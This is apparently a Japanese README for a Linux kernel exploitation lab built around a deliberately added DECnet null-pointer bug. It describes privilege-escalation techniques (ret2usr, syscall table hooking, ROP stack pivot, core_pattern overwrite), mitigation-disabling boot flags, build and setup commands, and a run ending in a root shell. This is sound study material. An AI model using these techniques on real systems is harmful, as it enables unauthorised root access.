
自身のDECnet脆弱性とヌルページマッピングを有効にした状態で、さまざまなLinuxカーネルエクスプロイト技術を練習します。
すべて無効: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
コード実行はユーザーランドのoutput関数にリダイレクトされ、commit_creds(prepare_kernel_cred(0))を呼び出します。
システムコールフッキング
sys_call_table内のmkdirシステムコールハンドラアドレスを、シナリオ1のものと類似した関数と置き換えます。
SMEPとKPTI有効: qemu-system-x86_64 -append "nosmap nokaslr"
コード実行はスタックピボットにリダイレクトされ、ヌルページ内のROPチェーンに_$rsp_を設定します。
ユーザーモードヘルパー
core_pattern sysctlが上書きされ、コアダンプ時に昇格した特権で実行するコマンドが指定されます。
その後、プログラムはSIGABRTシグナルで中断され、ユーザーモードスクリプトがトリガーされます。
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
rootとしてDECnetを構成します:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
非特権ユーザーとしてエクスプロイトを実行します:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#